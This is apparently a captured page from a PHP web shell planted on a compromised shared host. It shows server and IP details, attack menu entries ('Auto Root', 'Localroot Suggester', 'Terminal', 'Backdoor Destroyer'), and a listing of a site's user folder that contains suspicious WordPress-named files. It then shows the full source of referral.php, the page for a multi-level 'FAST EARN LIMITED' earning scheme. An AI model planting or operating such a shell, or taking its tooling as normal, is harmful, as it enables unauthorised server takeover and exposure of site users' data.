Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
public_html /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax_spin_wheel.php
3.28
KB
-rw-r--r--
2026-01-26 20:21
announcements.php
3.18
KB
-rw-r--r--
2025-12-25 17:46
daily_targets.php
15.36
KB
-rw-r--r--
2025-12-27 13:56
dashboard.php
35.82
KB
-rw-r--r--
2026-01-07 21:06
dpin_manage.php
8.8
KB
-rw-r--r--
2025-12-29 16:57
dpin_request.php
10.85
KB
-rw-r--r--
2025-12-29 16:53
footer.php
101
B
-rw-r--r--
2025-12-25 18:14
header.php
6.83
KB
-rw-r--r--
2026-01-26 22:06
history.php
23.07
KB
-rw-r--r--
2026-01-26 22:21
level_earning.php
18.53
KB
-rw-r--r--
2025-12-29 18:08
lucky_wheel.php
40.55
KB
-rw-r--r--
2026-01-26 22:22
my_plan.php
9.99
KB
-rw-r--r--
2025-12-29 16:00
plan_payment.php
19.84
KB
-rw-r--r--
2026-01-26 21:51
profile.php
9.06
KB
-rw-r--r--
2025-12-24 21:13
ranks.php
21.24
KB
-rw-r--r--
2025-12-27 13:42
referral.php
11.8
KB
-rw-r--r--
2025-12-24 21:26
support.php
10.32
KB
-rw-r--r--
2025-12-22 19:07
update_rank_popup.php
1.1
KB
-rw-r--r--
2025-12-27 13:31
watch_ad.php
6.68
KB
-rw-r--r--
2025-12-26 12:42
watch_ad_complete.php
4.34
KB
-rw-r--r--
2025-12-24 08:07
watch_ads.php
6.73
KB
-rw-r--r--
2025-12-26 12:01
withdraw.php
11.24
KB
-rw-r--r--
2025-12-24 22:35
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('USER_PANEL', true); require_once '../includes/config.php'; requireLogin(); $page_title = 'Referral (My Team)'; $user = getUserData($_SESSION['user_id']); // Get referral link $referralLink = SITE_URL . '/register.php?ref=' . $user['referral_code']; $maxLevels = (int) getSetting('max_referral_levels', 5); $allLevels = []; // Level 1: Direct Referrals (Show All) $stmt = $pdo->prepare(" SELECT u.*, r.status as ref_status FROM users u JOIN referrals r ON u.id = r.referred_id WHERE r.referrer_id = ? ORDER BY u.created_at DESC "); $stmt->execute([$_SESSION['user_id']]); $allLevels[1] = $stmt->fetchAll(); // Extract IDs for next level lookup $prevLevelIds = array_column($allLevels[1], 'id'); // Levels 2 to Max: Indirect (Show ONLY Paid/Verified) for ($l = 2; $l <= $maxLevels; $l++) { if (empty($prevLevelIds)) { $allLevels[$l] = []; continue; } $placeholders = implode(',', array_fill(0, count($prevLevelIds), '?')); $stmt = $pdo->prepare(" SELECT u.*, r.status as ref_status FROM users u JOIN referrals r ON u.id = r.referred_id WHERE r.referrer_id IN ($placeholders) AND r.status = 'paid' ORDER BY u.created_at DESC "); $stmt->execute($prevLevelIds); $allLevels[$l] = $stmt->fetchAll(); // Update IDs for the next level search $prevLevelIds = array_column($allLevels[$l], 'id'); } // Get referral requirement settings $requiredReferrals = (int) getSetting('referral_required_count', 0); $requiredDays = (int) getSetting('referral_required_days', 7); include 'header.php'; ?> <!-- Referral Stats --> <div class="stats-grid"> <div class="stat-card primary"> <div class="stat-icon"> <i class="fas fa-users"></i> </div> <div class="stat-value"><?php echo $user['referral_count']; ?></div> <div class="stat-label">Verified (L1)</div> </div> <div class="stat-card secondary"> <div class="stat-icon"> <i class="fas fa-network-wired"></i> </div> <div class="stat-value"> <?php $totalTeam = array_sum(array_map('count', $allLevels)); echo $totalTeam; ?> </div> <div class="stat-label">Full Team (L1-L<?php echo $maxLevels; ?>)</div> </div> </div> <!-- Referral Progress --> <?php if ($requiredReferrals > 0): ?> <div class="card"> <div class="card-header"> <i class="fas fa-chart-line"></i> Referral Progress (Requires Paid Plans) </div> <div class="card-body"> <p style="color: var(--text-secondary); margin-bottom: 10px;"> You have <strong style="color: var(--primary-color);"><?php echo $user['referral_count']; ?></strong> verified purchases out of <strong><?php echo $requiredReferrals; ?></strong> required </p> <div class="progress"> <div class="progress-bar" style="width: <?php echo min(100, ($user['referral_count'] / $requiredReferrals) * 100); ?>%"></div> </div> <small style="color: var(--text-secondary); display: block; margin-top: 5px;"> Note: Only Level 1 referrals with a purchased plan count towards this progress. </small> <?php if ($user['referral_count'] >= $requiredReferrals): ?> <div class="alert alert-success mt-10"> <i class="fas fa-check-circle"></i> Congratulations! You've met the requirement. </div> <?php else: ?> <div class="alert alert-warning mt-10"> <i class="fas fa-exclamation-triangle"></i> You need <?php echo $requiredReferrals - $user['referral_count']; ?> more verified referral(s). </div> <?php endif; ?> </div> </div> <?php endif; ?> <!-- Referral Link --> <div class="card"> <div class="card-header"> <i class="fas fa-link"></i> Your Referral Link </div> <div class="card-body"> <p style="color: var(--text-secondary); margin-bottom: 15px;"> Share this link to grow your team up to <?php echo $maxLevels; ?> levels: </p> <div style="background: var(--dark-bg); padding: 15px; border-radius: 8px; border: 1px solid var(--border-color); margin-bottom: 15px;"> <input type="text" value="<?php echo $referralLink; ?>" id="referral-link" readonly style="width: 100%; background: transparent; border: none; color: var(--primary-color); font-size: 14px; outline: none;"> </div> <button onclick="copyReferralLink()" class="btn btn-primary btn-block"> <i class="fas fa-copy"></i> Copy Link </button> <div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 10px; margin-top: 15px;"> <a href="https://wa.me/?text=<?php echo urlencode('Join FAST EARN LIMITED and start earning today! ' . $referralLink); ?>" target="_blank" class="btn btn-success"> <i class="fab fa-whatsapp"></i> WhatsApp </a> <a href="https://www.facebook.com/sharer/sharer.php?u=<?php echo urlencode($referralLink); ?>" target="_blank" class="btn btn-primary"> <i class="fab fa-facebook"></i> Facebook </a> </div> </div> </div> <!-- My Team (5 Levels) --> <div class="card"> <div class="card-header" style="display: flex; justify-content: space-between; align-items: center;"> <span><i class="fas fa-sitemap"></i> My Multi-Level Team (L1-L<?php echo $maxLevels; ?>)</span> <a href="level_earning.php" style="font-size: 11px; color: var(--primary-color); text-decoration: none; border: 1px solid var(--primary-color); padding: 4px 8px; border-radius: 6px;"> <i class="fas fa-info-circle"></i> Earning Details </a> </div> <div class="card-body" style="padding: 10px;"> <!-- Level Tabs --> <div class="tabs-container" style="margin-bottom: 15px;"> <?php for ($l = 1; $l <= $maxLevels; $l++): ?> <button onclick="showLevel(<?php echo $l; ?>)" id="btn-level-<?php echo $l; ?>" class="level-tab-btn <?php echo $l === 1 ? 'active' : ''; ?>"> L<?php echo $l; ?> (<?php echo count($allLevels[$l]); ?>) </button> <?php endfor; ?> </div> <?php for ($l = 1; $l <= $maxLevels; $l++): ?> <div id="level-content-<?php echo $l; ?>" class="level-content" style="display: <?php echo $l === 1 ? 'block' : 'none'; ?>;"> <?php if (empty($allLevels[$l])): ?> <p style="color: var(--text-secondary); text-align: center; padding: 20px;"> <?php if ($l === 1): ?> You haven't referred anyone yet. <?php else: ?> No active members found at this level. <?php endif; ?> </p> <?php else: ?> <div class="table-responsive" style="max-height: 250px; overflow-y: auto;"> <table> <thead> <tr> <th>Member</th> <th>Status</th> <th>Joined</th> </tr> </thead> <tbody> <?php foreach ($allLevels[$l] as $member): ?> <tr> <td> <div style="font-weight: 600; color: var(--text-primary);"> <?php echo htmlspecialchars($member['full_name']); ?> </div> <div style="font-size: 11px; color: var(--text-secondary);"> Ref ID: <?php echo htmlspecialchars($member['referral_code']); ?> </div> </td> <td> <?php if ($member['ref_status'] === 'paid'): ?> <span class="badge badge-success">Paid Member</span> <?php else: ?> <span class="badge badge-warning">Joined Only</span> <?php endif; ?> </td> <td style="font-size: 12px; color: var(--text-secondary);"> <?php echo date('M d, Y', strtotime($member['created_at'])); ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> <?php endfor; ?> </div> </div> <style> .level-tab-btn { padding: 8px 12px; border: 1px solid var(--border-color); background: var(--dark-bg); color: var(--text-secondary); border-radius: 8px; cursor: pointer; font-size: 13px; font-weight: 600; transition: all 0.3s ease; flex: 1; min-width: 60px; } .level-tab-btn.active { background: var(--primary-color); color: white; border-color: var(--primary-color); } .tabs-container { display: flex; gap: 8px; overflow-x: auto; padding-bottom: 12px; scrollbar-width: thin; scrollbar-color: var(--primary-color) rgba(255, 255, 255, 0.05); } .table-responsive { scrollbar-width: thin; scrollbar-color: var(--primary-color) rgba(255, 255, 255, 0.05); } /* Webkit Scrollbars (Chrome/Safari) */ .tabs-container::-webkit-scrollbar { height: 3px; } .table-responsive::-webkit-scrollbar { width: 3px; height: 3px; } .tabs-container::-webkit-scrollbar-thumb, .table-responsive::-webkit-scrollbar-thumb { background: var(--primary-color); border-radius: 10px; } .tabs-container::-webkit-scrollbar-track, .table-responsive::-webkit-scrollbar-track { background: rgba(255, 255, 255, 0.05); border-radius: 10px; } </style> <script> function showLevel(lvl) { // Hide all document.querySelectorAll('.level-content').forEach(el => el.style.display = 'none'); document.querySelectorAll('.level-tab-btn').forEach(el => el.classList.remove('active')); // Show selected document.getElementById('level-content-' + lvl).style.display = 'block'; document.getElementById('btn-level-' + lvl).classList.add('active'); } </script> <script> function copyReferralLink() { const linkInput = document.getElementById('referral-link'); linkInput.select(); linkInput.setSelectionRange(0, 99999); // For mobile devices document.execCommand('copy'); showPopup('Success!', 'Referral link copied to clipboard!', 'success'); } </script> <?php include 'footer.php'; ?>